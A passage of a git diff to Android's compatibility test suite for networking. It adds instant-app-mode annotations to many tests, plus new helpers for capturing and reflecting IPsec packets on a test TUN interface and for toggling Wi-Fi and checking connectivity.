+ private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
+
+ public static String bytesToHex(byte[] bytes) {
+ StringBuilder sb = new StringBuilder();
+ for (byte b : bytes) {
+ sb.append(hexArray[b >>> 4]);
+ sb.append(hexArray[b & 0x0F]);
+ sb.append(' ');
+ }
+ return sb.toString();
+ }
+}
diff --git a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
index 60ac226..01ac3fd 100644
--- a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
+++ b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
@@ -24,6 +24,7 @@
import javax.net.ssl.SSLPeerUnverifiedException;
import android.net.SSLCertificateSocketFactory;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import libcore.javax.net.ssl.SSLConfigurationAsserts;
@@ -91,7 +92,7 @@
// a host and port that are expected to be available but have
// a cert with a different CN, in this case CN=mail.google.com
- private static String TEST_CREATE_SOCKET_HOST = "googlemail.com";
+ private static String TEST_CREATE_SOCKET_HOST = "www3.l.google.com";
private static int TEST_CREATE_SOCKET_PORT = 443;
/**
@@ -101,6 +102,7 @@
*
* NOTE: Test will fail if external server is not available.
*/
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void test_createSocket_simple() throws Exception {
try {
mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
@@ -117,6 +119,7 @@
*
* NOTE: Test will fail if external server is not available.
*/
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void test_createSocket_wrapping() throws Exception {
try {
Socket underlying = new Socket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
@@ -135,6 +138,7 @@
*
* NOTE: Test will fail if external server is not available.
*/
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void test_createSocket_bind() throws Exception {
try {
mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT, null, 0);
diff --git a/tests/tests/net/src/android/net/cts/TheaterModeTest.java b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
index 10fca6f..d1ddeaa 100644
--- a/tests/tests/net/src/android/net/cts/TheaterModeTest.java
+++ b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
@@ -18,12 +18,11 @@
import android.content.ContentResolver;
import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.test.AndroidTestCase;
import android.util.Log;
-import java.lang.Thread;
-
public class TheaterModeTest extends AndroidTestCase {
private static final String TAG = "TheaterModeTest";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
@@ -40,6 +39,7 @@
|| mContext.getPackageManager().hasSystemFeature(FEATURE_WIFI));
}
+ @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
public void testTheaterMode() {
setup();
if (!mHasFeature) {
diff --git a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
index 503ba51..5bd1e20 100755
--- a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
+++ b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
@@ -21,6 +21,7 @@
import android.net.TrafficStats;
import android.os.Process;
import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -81,6 +82,7 @@
return packetCount * (20 + 32 + bytes);
}
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testTrafficStatsForLocalhost() throws IOException {
final long mobileTxPacketsBefore = TrafficStats.getMobileTxPackets();
final long mobileRxPacketsBefore = TrafficStats.getMobileRxPackets();
diff --git a/tests/tests/net/src/android/net/cts/TunUtils.java b/tests/tests/net/src/android/net/cts/TunUtils.java
new file mode 100644
index 0000000..a030713
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/TunUtils.java
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.IPPROTO_ESP;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.system.OsConstants.IPPROTO_UDP;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.os.ParcelFileDescriptor;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.function.Predicate;
+
+public class TunUtils {
+ private static final String TAG = TunUtils.class.getSimpleName();
+
+ private static final int DATA_BUFFER_LEN = 4096;
+ private static final int TIMEOUT = 100;
+
+ private static final int IP4_PROTO_OFFSET = 9;
+ private static final int IP6_PROTO_OFFSET = 6;
+
+ private static final int IP4_ADDR_OFFSET = 12;
+ private static final int IP4_ADDR_LEN = 4;
+ private static final int IP6_ADDR_OFFSET = 8;
+ private static final int IP6_ADDR_LEN = 16;
+
+ private final ParcelFileDescriptor mTunFd;
+ private final List<byte[]> mPackets = new ArrayList<>();
+ private final Thread mReaderThread;
+
+ public TunUtils(ParcelFileDescriptor tunFd) {
+ mTunFd = tunFd;
+
+ // Start background reader thread
+ mReaderThread =
+ new Thread(
+ () -> {
+ try {
+ // Loop will exit and thread will quit when tunFd is closed.
+ // Receiving either EOF or an exception will exit this reader loop.
+ // FileInputStream in uninterruptable, so there's no good way to
+ // ensure that this thread shuts down except upon FD closure.
+ while (true) {
+ byte[] intercepted = receiveFromTun();
+ if (intercepted == null) {
+ // Exit once we've hit EOF
+ return;
+ } else if (intercepted.length > 0) {
+ // Only save packet if we've received any bytes.
+ synchronized (mPackets) {
+ mPackets.add(intercepted);
+ mPackets.notifyAll();
+ }
+ }
+ }
+ } catch (IOException ignored) {
+ // Simply exit this reader thread
+ return;
+ }
+ });
+ mReaderThread.start();
+ }
+
+ private byte[] receiveFromTun() throws IOException {
+ FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
+ byte[] inBytes = new byte[DATA_BUFFER_LEN];
+ int bytesRead = in.read(inBytes);
+
+ if (bytesRead < 0) {
+ return null; // return null for EOF
+ } else if (bytesRead >= DATA_BUFFER_LEN) {
+ throw new IllegalStateException("Too big packet. Fragmentation unsupported");
+ }
+ return Arrays.copyOf(inBytes, bytesRead);
+ }
+
+ private byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
+ synchronized (mPackets) {
+ for (int i = startIndex; i < mPackets.size(); i++) {
+ byte[] pkt = mPackets.get(i);
+ if (verifier.test(pkt)) {
+ return pkt;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Checks if the specified bytes were ever sent in plaintext.
+ *
+ * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
+ *
+ * @param plaintext the plaintext bytes to check for
+ * @param startIndex the index in the list to check for
+ */
+ public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
+ Predicate<byte[]> verifier =
+ (pkt) -> {
+ return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
+ != -1;
+ };
+ return getFirstMatchingPacket(verifier, startIndex) != null;
+ }
+
+ public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
+ return getFirstMatchingPacket(
+ (pkt) -> {
+ return isEsp(pkt, spi, encap);
+ },
+ startIndex);
+ }
+
+ public byte[] awaitEspPacketNoPlaintext(
+ int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
+ long endTime = System.currentTimeMillis() + TIMEOUT;
+ int startIndex = 0;
+
+ synchronized (mPackets) {
+ while (System.currentTimeMillis() < endTime) {
+ byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
+ if (espPkt != null) {
+ // Validate packet size
+ assertEquals(expectedPacketSize, espPkt.length);
+
+ // Always check plaintext from start
+ assertFalse(hasPlaintextPacket(plaintext, 0));
+ return espPkt; // We've found the packet we're looking for.
+ }
+
+ startIndex = mPackets.size();
+
+ // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
+ long waitTimeout = endTime - System.currentTimeMillis();
+ if (waitTimeout > 0) {
+ mPackets.wait(waitTimeout);
+ }
+ }
+
+ fail("No such ESP packet found with SPI " + spi);
+ }
+ return null;
+ }
+
+ private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
+ // Check SPI byte by byte.
+ return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
+ && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
+ && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
+ && pkt[espOffset + 3] == (byte) (spi & 0xff);
+ }
+
+ private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
+ if (isIpv6(pkt)) {
+ // IPv6 UDP encap not supported by kernels; assume non-encap.
+ return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
+ } else {
+ // Use default IPv4 header length (assuming no options)
+ if (encap) {
+ return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
+ && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
+ } else {
+ return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
+ }
+ }
+ }
+
+ private static boolean isIpv6(byte[] pkt) {
+ // First nibble shows IP version. 0x60 for IPv6
+ return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
+ }
+
+ private static byte[] getReflectedPacket(byte[] pkt) {
+ byte[] reflected = Arrays.copyOf(pkt, pkt.length);
+
+ if (isIpv6(pkt)) {
+ // Set reflected packet's dst to that of the original's src
+ System.arraycopy(
+ pkt, // src
+ IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
+ reflected, // dst
+ IP6_ADDR_OFFSET, // dst offset
+ IP6_ADDR_LEN); // len
+ // Set reflected packet's src IP to that of the original's dst IP
+ System.arraycopy(
+ pkt, // src
+ IP6_ADDR_OFFSET, // src offset
+ reflected, // dst
+ IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
+ IP6_ADDR_LEN); // len
+ } else {
+ // Set reflected packet's dst to that of the original's src
+ System.arraycopy(
+ pkt, // src
+ IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
+ reflected, // dst
+ IP4_ADDR_OFFSET, // dst offset
+ IP4_ADDR_LEN); // len
+ // Set reflected packet's src IP to that of the original's dst IP
+ System.arraycopy(
+ pkt, // src
+ IP4_ADDR_OFFSET, // src offset
+ reflected, // dst
+ IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
+ IP4_ADDR_LEN); // len
+ }
+ return reflected;
+ }
+
+ /** Takes all captured packets, flips the src/dst, and re-injects them. */
+ public void reflectPackets() throws IOException {
+ synchronized (mPackets) {
+ for (byte[] pkt : mPackets) {
+ injectPacket(getReflectedPacket(pkt));
+ }
+ }
+ }
+
+ public void injectPacket(byte[] pkt) throws IOException {
+ FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
+ out.write(pkt);
+ out.flush();
+ }
+
+ /** Resets the intercepted packets. */
+ public void reset() throws IOException {
+ synchronized (mPackets) {
+ mPackets.clear();
+ }
+ }
+}
diff --git a/tests/tests/net/src/android/net/cts/VpnServiceTest.java b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
index 8bdd7b0..15af23c 100644
--- a/tests/tests/net/src/android/net/cts/VpnServiceTest.java
+++ b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
@@ -18,6 +18,7 @@
import android.content.Intent;
import android.net.VpnService;
import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.io.File;
@@ -35,6 +36,7 @@
private VpnService mVpnService = new VpnService();
+ @AppModeFull(reason = "PackageManager#queryIntentActivities cannot access in instant app mode")
public void testPrepare() throws Exception {
// Should never return null since we are not prepared.
Intent intent = VpnService.prepare(mContext);
@@ -60,6 +62,7 @@
}
}
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testProtect_DatagramSocket() throws Exception {
DatagramSocket socket = new DatagramSocket();
try {
@@ -88,6 +91,7 @@
}
}
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testProtect_int() throws Exception {
DatagramSocket socket = new DatagramSocket();
ParcelFileDescriptor descriptor = ParcelFileDescriptor.fromDatagramSocket(socket);
diff --git a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
index 2e5306d..8d7dff0 100644
--- a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
+++ b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
@@ -22,6 +22,7 @@
import org.apache.http.impl.client.DefaultHttpClient;
import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.webkit.cts.CtsTestServer;
@@ -30,6 +31,7 @@
import java.util.ArrayList;
import java.util.List;
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
public class ApacheHttpClientTest extends AndroidTestCase {
private static final int NUM_DOWNLOADS = 20;
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
index 198f973..354954e 100644
--- a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
+++ b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
@@ -22,6 +22,7 @@
import junit.framework.TestCase;
import android.net.http.HttpResponseCache;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.FileUtils;
@@ -126,6 +127,7 @@
* Make sure that statistics tracking are wired all the way through the
* wrapper class. http://code.google.com/p/android/issues/detail?id=25418
*/
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testStatisticsTracking() throws Exception {
HttpResponseCache cache = HttpResponseCache.install(cacheDir, 10 * 1024 * 1024);
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
index f06d7e9..1bd7fad 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
@@ -21,13 +21,14 @@
import android.net.rtp.AudioGroup;
import android.net.rtp.AudioStream;
import android.net.rtp.RtpStream;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
-import android.util.Log;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
public class AudioGroupTest extends AndroidTestCase {
private static final String TAG = AudioGroupTest.class.getSimpleName();
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
index 323b022..f2db6ee 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
@@ -17,10 +17,12 @@
import android.net.rtp.AudioCodec;
import android.net.rtp.AudioStream;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.net.InetAddress;
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
public class AudioStreamTest extends AndroidTestCase {
private void testRtpStream(InetAddress address) throws Exception {
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 7277553..d823105 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -39,6 +39,7 @@
import android.net.wifi.aware.WifiAwareSession;
import android.os.Handler;
import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.util.ArrayDeque;
@@ -53,6 +54,7 @@
* Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
* device to validate Wi-Fi Aware.
*/
+@AppModeFull(reason = "Cannot get WifiAwareManager in instant app mode")
public class SingleDeviceTest extends AndroidTestCase {
private static final String TAG = "WifiAwareCtsTests";
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
index a066ba8..2da3ffc 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -29,11 +29,14 @@
import android.net.wifi.p2p.WifiP2pManager;
import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_DISABLED;
import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_ENABLED;
+
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class ConcurrencyTest extends AndroidTestCase {
private class MySync {
int expectedWifiState;
diff --git a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
index 2e2e75b..f2a2b48 100644
--- a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.net.nsd.NsdManager;
import android.net.nsd.NsdServiceInfo;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -29,6 +30,7 @@
import java.util.List;
import java.util.ArrayList;
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
public class NsdManagerTest extends AndroidTestCase {
private static final String TAG = "NsdManagerTest";
diff --git a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
index 8a22bef..839881f 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
@@ -25,9 +25,11 @@
import android.net.wifi.ScanResult;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class ScanResultTest extends AndroidTestCase {
private static class MySync {
int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
index 4480a24..a59c85e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -21,8 +21,10 @@
import android.content.Context;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiConfigurationTest extends AndroidTestCase {
private WifiManager mWifiManager;
@Override
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index d3235da..77a2583 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -23,6 +23,7 @@
import android.net.wifi.WifiEnterpriseConfig.Eap;
import android.net.wifi.WifiEnterpriseConfig.Phase2;
import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import java.io.ByteArrayInputStream;
@@ -32,6 +33,7 @@
import java.security.cert.X509Certificate;
import java.security.spec.PKCS8EncodedKeySpec;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiEnterpriseConfigTest extends AndroidTestCase {
private WifiManager mWifiManager;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5983cb7..a05646e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -26,12 +26,14 @@
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
import android.net.wifi.WifiSsid;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import com.android.compatibility.common.util.PollingCheck;
import java.util.concurrent.Callable;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiInfoTest extends AndroidTestCase {
private static class MySync {
int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 2ed0124..31c721e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -33,6 +33,7 @@
import android.net.wifi.hotspot2.pps.Credential;
import android.net.wifi.hotspot2.pps.HomeSp;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -49,6 +50,7 @@
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiManagerTest extends AndroidTestCase {
private static class MySync {
int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
index 3cdd56a..f7efe4c 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
@@ -19,8 +19,10 @@
import android.content.Context;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiManager_WifiLockTest extends AndroidTestCase {
private static final String WIFI_TAG = "WifiManager_WifiLockTest";
diff --git a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 74a0c3d..adb4ce8 100644
--- a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -16,11 +16,10 @@
package android.net.wifi.rtt.cts;
-import android.content.IntentFilter;
import android.net.wifi.ScanResult;
import android.net.wifi.rtt.RangingRequest;
import android.net.wifi.rtt.RangingResult;
-import android.net.wifi.rtt.WifiRttManager;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
@@ -33,6 +32,7 @@
/**
* Wi-Fi RTT CTS test: range to all available Access Points which support IEEE 802.11mc.
*/
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
public class WifiRttTest extends TestBase {
// Number of scans to do while searching for APs supporting IEEE 802.11mc
private static final int NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP = 2;
diff --git a/tests/tests/net/util/Android.bp b/tests/tests/net/util/Android.bp
new file mode 100644
index 0000000..1f94613
--- /dev/null
+++ b/tests/tests/net/util/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+// Common utilities for cts net tests.
+java_library {
+ name: "cts-net-utils",
+ srcs: ["java/**/*.java", "java/**/*.kt"],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "junit",
+ ],
+}
\ No newline at end of file
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
new file mode 100644
index 0000000..e19d2ba
--- /dev/null
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.util;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkInfo;
+import android.net.NetworkInfo.State;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiManager;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public final class CtsNetUtils {
+ private static final String TAG = CtsNetUtils.class.getSimpleName();
+ private static final int DURATION = 10000;
+ private static final int SOCKET_TIMEOUT_MS = 2000;
+
+ public static final int HTTP_PORT = 80;
+ public static final String TEST_HOST = "connectivitycheck.gstatic.com";
+ public static final String HTTP_REQUEST =
+ "GET /generate_204 HTTP/1.0\r\n" +
+ "Host: " + TEST_HOST + "\r\n" +
+ "Connection: keep-alive\r\n\r\n";
+ // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+ public static final String NETWORK_CALLBACK_ACTION =
+ "ConnectivityManagerTest.NetworkCallbackAction";
+
+ private Context mContext;
+ private ConnectivityManager mCm;
+ private WifiManager mWifiManager;
+ private TestNetworkCallback mCellNetworkCallback;
+
+ public CtsNetUtils(Context context) {
+ mContext = context;
+ mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+ mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+ }
+
+ // Toggle WiFi twice, leaving it in the state it started in
+ public void toggleWifi() {
+ if (mWifiManager.isWifiEnabled()) {
+ Network wifiNetwork = getWifiNetwork();
+ disconnectFromWifi(wifiNetwork);
+ connectToWifi();
+ } else {
+ connectToWifi();
+ Network wifiNetwork = getWifiNetwork();
+ disconnectFromWifi(wifiNetwork);
+ }
+ }
+
+ /** Enable WiFi and wait for it to become connected to a network. */
+ public Network connectToWifi() {
+ final TestNetworkCallback callback = new TestNetworkCallback();
+ mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+ Network wifiNetwork = null;
+
+ ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
+ mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+ mContext.registerReceiver(receiver, filter);
+
+ boolean connected = false;
+ try {
+ SystemUtil.runShellCommand("svc wifi enable");
+ // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+ wifiNetwork = callback.waitForAvailable();
+ assertNotNull(wifiNetwork);
+ connected = receiver.waitForState();
+ } catch (InterruptedException ex) {
+ fail("connectToWifi was interrupted");
+ } finally {
+ mCm.unregisterNetworkCallback(callback);
+ mContext.unregisterReceiver(receiver);
+ }
+
+ assertTrue("Wifi must be configured to connect to an access point for this test.",
+ connected);
+ return wifiNetwork;
+ }
+
+ /** Disable WiFi and wait for it to become disconnected from the network. */
+ public void disconnectFromWifi(Network wifiNetworkToCheck) {
+ final TestNetworkCallback callback = new TestNetworkCallback();
+ mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+ Network lostWifiNetwork = null;
+
+ ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
